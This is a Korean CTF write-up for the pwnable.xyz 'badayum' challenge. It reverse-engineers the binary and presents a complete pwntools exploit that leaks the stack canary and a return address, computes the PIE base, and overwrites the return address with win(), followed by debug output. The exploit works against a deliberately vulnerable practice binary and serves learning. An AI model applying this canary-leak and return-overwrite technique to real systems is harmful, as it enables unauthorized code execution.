[pwnable.xyz] badayum write up
pwnable.xyz 30번째 문제이다.
해당 바이너리의 사용자 정의 함수를 보면 존재 하지 않았다...
ubuntu:~/environment/ctf/pwnable.xyz/30_badayum $ func challenge
nm: challenge: no symbols
그래서 gdb로 main 함수를 찾고 play(?) 함수와 win() 함수를 찾았다.
이를 c코드로 나타내면 아래와 같다.
/*
main: 0x555555554ead
play??: 0x555555554d48
win: 0x555555554d30
*/
long play(){
int tmp_1 = 0; // rbp-0x74
int tmp_2 = 0; // rbp-0x78
while(tmp_1 <= 0x13){
int tmp_3 = rand();
/*
0x555555554d74: call 0x555555554b80 <rand@plt>
0x555555554d79: mov ecx,eax
0x555555554d7b: mov edx,0x66666667
0x555555554d80: mov eax,ecx
0x555555554d82: imul edx
0x555555554d84: sar edx,0x2
0x555555554d87: mov eax,ecx
0x555555554d89: sar eax,0x1f
0x555555554d8c: sub edx,eax
0x555555554d8e: mov eax,edx
0x555555554d90: shl eax,0x2
0x555555554d93: add eax,edx
0x555555554d95: add eax,eax
0x555555554d97: sub ecx,eax
0x555555554d99: mov edx,ecx
0x555555554d9b: mov eax,DWORD PTR [rbp-0x74]
ecx = eax = rand();
edx = 0x66666667
edx = eax * edx (ex: 0x1f4e9d7e2ef5ec3d ==> edx = 0x1f4e9d7e)
edx = edx << 0x2
eax = ecx << 0x1f;
edx = edx - eax;
eax = edx >> 0x2;
eax = 2*(eax + edx);
ecx = ecx - eax;
edx = ecx;
*/
*(rbp-0x60 + tmp_1*4) = edx;
tmp_1 += 1;
}
int tmp_3 = 0; // rbp-0x70
while(tmp_3 <= 0x13){
long rdx = (*(rbp-0x60 + tmp_3*4)) * 8;
rdi = *(0x555555756020 + rdx);
tmp_2 += strlen(rdi);
tmp_3++;
}
long *addr = malloc(tmp_2 + 0x14); // rbp-0x68
memset(*addr, 0, tmp_2 + 0x14);
int tmp_4 = 0; // rbp-0x6c
while(tmp_4 <= 0x13){
long rdx = (*(rbp-0x60 + tmp_4*4)) * 8;
rdx = *(0x555555756020 + rdx);
strcat(*addr, rdx);
if(tmp_4 > 0x12)
tmp_4++;
else{
/*
0x555555554e5b: mov rax,QWORD PTR [rbp-0x68]
0x555555554e5f: mov rcx,0xffffffffffffffff
0x555555554e66: mov rdx,rax
0x555555554e69: mov eax,0x0
0x555555554e6e: mov rdi,rdx
0x555555554e71: repnz scas al,BYTE PTR es:[rdi]
0x555555554e73: mov rax,rcx
0x555555554e76: not rax
0x555555554e79: lea rdx,[rax-0x1]
0x555555554e7d: mov rax,QWORD PTR [rbp-0x68]
0x555555554e81: add rax,rdx
0x555555554e84: mov WORD PTR [rax],0x2d
*/
}
}
return *addr;
}
int main(){
while(1){
long *addr = play(); // rbp - 0x78 = 0x7fffffffe428
memset(rbp-0x70, 0, 0x64); // 0x7fffffffe430
printf("Your score: %d\n", *0x555555756248);
printf("me > %s\n", *addr);
printf("you > ");
read(0, rbp-0x70, strlen(*addr) + 1);
if(!strncmp(rbp-0x70, "exit", 0x4)){
free(*addr);
puts("Ya go away, I don't want to play with you anymore anyways :P\n");
return;
}
if(!strncmp(*addr, rbp-0x70, strlen(*addr))){
printf("You said: %s", rbp-0x70);
puts("Yay, you're good at this, let's go on :)\n");
*0x555555756248++;
}
printf("You said: %s", rbp-0x70);
puts("I don't think you understood how this game works :(\n");
*0x555555756248--;
free(*addr);
}
}
ubuntu:~/environment/ctf/pwnable.xyz/30_badayum $ checksec --file=challenge
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH No Symbols Yes 0 4 challenge
이 문제를 간단히 설명하자면,
랜덤으로 문자열이 생성되는데, 생성된 문자열과 똑같은 값을 입력하면 score를 획득하고, 틀릴시 -1점이 된다.
ubuntu:~/environment/ctf/pwnable.xyz/30_badayum $ ./challenge
Yolo yada yada - Play with me!
===========================================
Your score: 0
me > bada-dayum-bada-badum-bada-yadum-yadam-dada-yada-yadum-bada-yum-bada-yum-dada-yadayada-yum-yadam-yada-dayam
you > bada-dayum-bada-badum-bada-yadum-yadam-dada-yada-yadum-bada-yum-bada-yum-dada-yadayada-yum-yadam-yada-dayam
You said: bada-dayum-bada-badum-bada-yadum-yadam-dada-yada-yadum-bada-yum-bada-yum-dada-yadayada-yum-yadam-yada-dayam
M۹Yay, you're good at this, let's go on :)
Your score: 1
me > yum-dada-yada-dayum-yadam-badum-badum-yadum-yadum-bada-dada-yada-yadam-dayum-yada-yadayada-dada-yadam-dada-dayam
you > asdfasdfasdf
You said: asdfasdfasdf
I don't think you understood how this game works :(
Your score: 0
이 문제의 취약점은 랜덤으로 문자열이 생성되어 bof를 일으킬 수 있다.
만약, 입력할 길이가 104 이면, canary를 Leak 할 수 있다.
또한 입력할 길이가 128 이면, RET 값을 Leak 할 수 있다.
이를 이용해 PIE base를 구하여 RET에 win() 함수의 주소를 overwrite 할 수 있게 된다.
아래 사진은 main 함수의 스택이다. 첫번째 노란색은 canary 값, 두번째 노란색은 RET 값이다.
Canary Leak
canary를 Leak 하기 위해 입력할 길이가 104 이면 canary Leak 가 가능하다. 아래 코드가 Leak를 하기 위한 코드이다.
from pwn import *
# p = process("./challenge")
p = remote("svc.pwnable.xyz", "30027")
context.log_level = 'debug'
def get_badayum():
p.recvuntil("me > ")
return p.recvuntil("\n").replace("\n" ,"")
while True:
recv = get_badayum()
if len(recv) >= 104:
p.sendafter("you > ", recv[:104] + "X")
p.recvuntil("X")
canary = u64("\x00" + p.recv(7))
print("[*] Leak canary: " + hex(canary))
break
else:
p.sendafter("> ", "A")
PIE base Leak
로컬에서 PIE base는 0x0000555555554000 이다. main 함수의 RET에 저장된 RET값과 PIE base 값을 빼면
gdb-peda$ p 0x0000555555555081 - 0x0000555555554000
$1 = 0x1081
어떤 함수의 offset은 0x1081 임을 알 수 있다.
offset은 어떤 실행환경에서 변하지 않으므로 RET 값을 Leak 한 후 0x1081 값을 빼면 PIE base를 구할 수 있게 된다.
Leak 된 PIE base 값에 win_offset 주소를 더하면 실제 win() 주소를 얻을 수 있다.
while True:
recv = get_badayum()
if len(recv) >= 128:
p.sendafter("you > ", "A"*119 + "X")
p.recvuntil("X")
pie_base = u64(p.recv(6).ljust(8, "\x00")) - 0x1081
win_addr = pie_base + 0xd30
print("[*] pie_base: "+hex(pie_base))
print("[*] win_addr: "+hex(win_addr))
break
else:
p.sendafter("you > ", "A")
RET overwrite
RET를 overwrite 할 값들을 구했으므로, 아래와 같은 payload로 RET를 overwrite 할 수 있게 된다.
while True:
recv = get_badayum()
if len(recv) >= 128:
p.sendafter("you > ", "A"*104 + p64(canary) + "A"*8 + p64(win_addr))
p.sendlineafter("you > ", "exit")
p.interactive()
break
else:
p.sendafter("you > ", "A")
Payload
최종 Payload는 아래와 같다.
from pwn import *
# p = process("./challenge")
p = remote("svc.pwnable.xyz", "30027")
context.log_level = 'debug'
def get_badayum():
p.recvuntil("me > ")
return p.recvuntil("\n").replace("\n" ,"")
while True:
recv = get_badayum()
if len(recv) >= 104:
p.sendafter("you > ", recv[:104] + "X")
p.recvuntil("X")
canary = u64("\x00" + p.recv(7))
print("[*] Leak canary: " + hex(canary))
break
else:
p.sendafter("> ", "A")
while True:
recv = get_badayum()
if len(recv) >= 128:
p.sendafter("you > ", "A"*119 + "X")
p.recvuntil("X")
pie_base = u64(p.recv(6).ljust(8, "\x00")) - 0x1081
win_addr = pie_base + 0xd30
print("[*] pie_base: "+hex(pie_base))
print("[*] win_addr: "+hex(win_addr))
break
else:
p.sendafter("you > ", "A")
while True:
recv = get_badayum()
if len(recv) >= 128:
p.sendafter("you > ", "A"*104 + p64(canary) + "A"*8 + p64(win_addr))
p.sendlineafter("you > ", "exit")
p.interactive()
break
else:
p.sendafter("you > ", "A")
[DEBUG] Sent 0x80 bytes:
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│
*
00000060 41 41 41 41 41 41 41 41 00 64 2e 8a ac a8 0b d5 │AAAA│AAAA│·d.·│····│
00000070 41 41 41 41 41 41 41 41 30 6d ce 96 89 55 00 00 │AAAA│AAAA│0m··│·U··│
00000080
[DEBUG] Received 0x134 bytes:
"You said: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAI don't think you understood how this game works :(\n"
'\n'
'Your score: -56\n'
'me > badum-yum-yum-badum-dada-yadam-dayum-badum-yadum-yum-yadam-yadam-yadum-dayum-badum-yada-yada-yadayada-yadum-dada\n'
'you > '
[DEBUG] Sent 0x5 bytes:
'exit\n'
[*] Switching to interactive mode
[DEBUG] Received 0x3e bytes:
"Ya go away, I don't want to play with you anymore anyways :P\n"
'\n'
Ya go away, I don't want to play with you anymore anyways :P
[DEBUG] Received 0x25 bytes:
'FLAG{-----------------------------------------}'
FLAG{-------------------------------}[*] Got EOF while reading in interactive
'🚩CTF' 카테고리의 다른 글
[HackCTF] - [Misc] 탈옥 write up (0) | 2020.04.26 |
---|---|
[pwnable.xyz] - dirty tultle write up (0) | 2020.04.15 |
[pwnable.xyz] Hero Factory write up (0) | 2020.03.10 |
[zer0pts 2020 CTF] - notepad write up (0) | 2020.03.09 |
[zer0pts 2020 CTF] - Can you guess it? write up (0) | 2020.03.09 |
댓글
이 글 공유하기
다른 글
-
[HackCTF] - [Misc] 탈옥 write up
[HackCTF] - [Misc] 탈옥 write up
2020.04.26 -
[pwnable.xyz] - dirty tultle write up
[pwnable.xyz] - dirty tultle write up
2020.04.15 -
[pwnable.xyz] Hero Factory write up
[pwnable.xyz] Hero Factory write up
2020.03.10 -
[zer0pts 2020 CTF] - notepad write up
[zer0pts 2020 CTF] - notepad write up
2020.03.09